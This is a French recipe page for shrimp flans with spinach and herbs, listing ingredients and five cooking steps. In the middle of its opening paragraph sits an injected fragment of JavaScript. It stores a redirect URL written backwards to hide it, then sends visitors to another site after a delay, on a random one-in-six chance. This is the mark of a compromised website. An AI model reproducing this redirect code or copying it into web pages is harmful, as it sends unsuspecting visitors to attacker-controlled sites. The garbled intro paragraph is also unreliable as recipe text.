Flans aux crevettes
2016-12-19- Cuisine : Flans
- Thématique : Végétarien
- Niveau : Intermédiaire
Dans un récipient battez les œufs en omelette en incorporant la crème fraiche, salez légèrement, poivrez. Les épinards cuits, coupez-les en fines lamelles. Dans une poêle avec une noix de beurre sur feu moyen et tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tout en remuant, faites chauffer les épinards pendant 3 minutes.
Ingrédients
- Pour 4 personnes
- 6 œufs entiers
- 250g de crevettes roses cuites décortiquées
- 200 g d'épinards frais
- 1 cuillerée à soupe de crème fraiche
- 1 cuillerée à soupe de cerfeuil
- 1 cuillerée à soupe d'aneth
- 1 cuillerée à soupe de ciboulette ciselée sel – poivre
Préparation de la recette
Etape 1
Dans un récipient battez les œufs en omelette en incorporant la crème fraiche, salez légèrement, poivrez.
Etape 2
Les épinards cuits, coupez-les en fines lamelles.
Etape 3
Dans une poêle avec une noix de beurre sur feu moyen et tout en remuant, faites chauffer les épinards pendant 3 minutes, puis à ce moment incorporez les œufs les crevettes et toutes les herbes. Prolongez la cuisson de 3 minutes supplémentaire.
Etape 4
Beurrez les ramequins, répartissez le flan. Préchauffez le four à 150°C thermostat 5.
Etape 5
Enfournez et faites cuire dans un bain-marie pendant 35 minutes. A ce moment retirez-les du four, laissez refroidir, démoulez, dégustez avec une salade verte.
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